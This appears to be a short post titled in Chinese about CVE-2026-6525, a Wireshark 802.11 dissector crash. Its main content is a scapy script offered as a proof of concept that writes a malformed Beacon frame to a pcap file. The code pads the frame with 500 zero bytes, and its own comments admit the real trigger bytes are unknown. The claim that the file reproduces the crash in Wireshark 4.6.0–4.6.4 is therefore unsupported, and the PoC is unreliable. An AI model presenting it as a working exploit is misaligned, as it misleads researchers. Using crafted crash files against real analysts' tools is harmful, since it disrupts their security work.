CVE-2026-6525 Wireshark IEEE 802.11解析器崩溃漏洞

# PoC for CVE-2026-6525 (Wireshark IEEE 802.11 Dissector Crash) # This script generates a pcap file with a malformed 802.11 frame. # Note: Specific trigger bytes depend on the exact root cause analysis. from scapy.all import * import sys # Construct a malformed 802.11 Beacon frame # Type: Management (0), Subtype: Beacon (8) pkt = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2="00:11:22:33:44:55", addr3="00:11:22:33:44:55") # Add a malformed payload or tag to trigger the crash # Adjust payload length or content based on vulnerability specifics malformed_payload = b"\x00" * 500 # Example: Excessive length causing overflow pkt = pkt / malformed_payload # Save the packet to a pcap file wrpcap("cve_2026_6525_poc.pcap", pkt) print("[+] PoC file generated: cve_2026_6525_poc.pcap") print("[+] Open this file in Wireshark 4.6.0 - 4.6.4 to reproduce the crash.")